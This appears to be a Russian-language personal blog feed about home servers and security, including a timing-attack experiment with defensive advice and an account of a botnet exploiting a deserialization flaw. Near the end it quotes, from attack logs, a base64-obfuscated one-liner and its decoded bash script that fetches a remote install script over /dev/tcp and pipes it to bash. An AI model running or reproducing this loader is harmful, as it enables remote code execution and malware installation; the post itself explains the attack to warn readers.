Наврали, скорость записи тут 200 Мб/с, а не 180, как было указано в характеристиках! Мелочь, а приятно

ГИТЛАБ ПОГНАЛИ УРАААААА

Ну че могу сказать, имба, оно работает.
(Еще бы не работало, лол)

Я развернул гитлаб как заведовали мне преподаватели в университете!

Docker Registry у меня отдельный, на отдельном диске

База данных на отдельной тачке

Все работает как часы.

По расчетам нейросети, исходя из всех характеристик моих машин и локальных сетей, сервис должен держать в комфортном режиме 20 человек активной разработки (Что бы это не значило)

В любом случае, места под код ОЧЕНЬ МНОГО.

А так же я развернул SMB на линукс машине на 4 ТБ. Оказывается это очень мощная штука, удобная и быстрая. Когда я ее делал на Виндовс, оно меня очень разочаровало, так как было очень медленным, а в локальной сети без WiFi прослойки, эта штука тащит, тащит даже если ты находишься в другом городе очень оптимально!
NextCloude и FileBrowser просто нервно курят в сторонке смотря как SMB общается без http оверхеда

Ну вот, а вы не верили в мою параною 😄

Мессенджер от Фокс Фокса?!

ШТООООООО

Криптография лучше чем в Максе, WebSocket не прослушает никакой ВайФай кофейни "ХАКЕР" =D

Думаете, Timing Attack — это миф?
Нет, это реальная уязвимость, позволяющая узнать ваши секреты, просто глядя на часы!

Как это работает?
Обычное сравнение строк if (key == secret) работает «лениво»: как только программа видит неверный символ, она мгновенно обрывает проверку. Значит, если первая буква верна, сервер ответит на микросекунды (или миллисекунды) позже.

Эксперимент:
Я поднял два Docker-контейнера в Локальной сети через 2 Коммутатора! Это важно, так как они создают помехи. Атакующий скрипт замеряет время отклика API: если оно чуть выросло — символ угадан.

Результат на скриншоте: за пару часов посимвольно «вычислен» пароль PASS123. Математика усреднения запросов позволяет победить даже сетевой шум.

Как защититься?
Для паролей и токенов никогда не используйте ==. Используйте функции «постоянного времени», например secrets.compare_digest(). Они сравнивают строку до самого конца, не выдавая секретов задержками.
Для хакера время — это информация. Не давайте ему повода завести секундомер!

Вдруг кто то хочет повторить, вот репозиторий, разворачивайте, тестируйте

KamilTheFox/Timing-Attack

Для понимания зачем такой эксперимент вообще был проведен, ответил на комментарий под постом, но решил продублировать в Постах.

Человек отвечает: По этому придумали Хеширование паролей, а не их сравнение. (В контексте проверки секрета на прямую)

Но я видимо не очень ясно выразился, этот прием гиперболизация реальных уязвимостей.

Тут атака идет не на само сравнение, а на ветвление, это целый класс уязвимостей, который люди допускают даже в криптографических библиотеках.

Ветвление по if, сравнения, прыжки по памяти, все это side-Chanel уязвимости.

Через эти уязвимости реально можно утараканить самые настоящие ключи шифрования AES, ChaCha20, Кузнечика, Ml-Kem инкапсуляции, при неправильной реализации.

Это особенно актуально в реализациях постквантовых алгоритмов инкапсуляции ключей по типу ML-Kem

CVE-2024-36405
CVE-2024-54137

Правда конкретно эти атаки возможны на локальном устройстве, цель эксперимента просто показать, что угроза реально есть даже в обычном условном ветвлении В СЕТИ.

Недавно у друга на работе была самая настоящая хакерская атака, как я понял от нескольких разных людей.

Сеть botnet нащупывала слабые места в публичном WEB API и отправляла самые различные эксплоиты, кто то просто пытался установить майнер, кто то пытался отправлять на сервера злоумышленников API ключи и токены доступа (Все, до чего могли дотянуться автоматические скрипты)

Все было по уму, контейнер запущенный от юзера без прав, без группы доступов, но эксплоиты все равно находят способы как выскочить из докера.

По мнению друга, разработчики допустили очень большую критическую ошибку, о которой он говорил в руководство, но как я понял, его заигнорировали. Суть в том, что в React (Да в целом почти любом ЯП есть такая функция) есть возможность исполнять shell и какой то эндпоинт по ветвлению условий смог достучаться до исполнения скриптов.

(Чуть ниже написал CVE, но суть в дессериализации, именно она небезопасно это делала и могла воспроизвести код, аналогично дессериализации из .Net C# с BinaryFormater)

Подробностей я не знаю, но следить за такими инцидентами очень весело и интересно. Было бы классно самому поковырять эти вещи и понять что там было на самом деле, попробовать TCPDump посмотреть.

Из логов друг скидывал как это делали в одном тупом эксплоите, когда в наглую кидали установочные скрипты что то вроде:

 echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKX19jdXJsIGh0dHA6Ly8xMjMuMTIzLjEyMy4xMjMvaW5zdGFsbC5zaHxiYXNo| base64 -d| bash

Да, это сделано что бы автоматизированные системы не могли сразу понять, что это какой то простой скрипт установки (Проверки на сторонние скрипты), он декодирует base64 обратно в UTF-8 (Или ASCII) И воспроизводит.

Во что оно превращается:

#!/bin/bash
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

__curl http://123.123.123.123/install.sh|bash

Эта мешанина букв превращается в настоящий скрипт, который подтягивает еще один скрипт из онлайна и воспроизводит попытку установки скрипта.

Будьте внимательны при построении своих серверных ПО и старайтесь не использовать вызов консоли ВООБЩЕ где бы то нибыло даже по API ключу.

Не пренебрегайте безопасностью, так как майнеры и стиллеры НЕ УМЕЮТ СПАТЬ и плодятся постоянно.

Кстати атака была со стороны Великобритании, мотаем на ус =D

Update: Уязвимость которая у них сработала: CVE-2025-66478 / React2Shell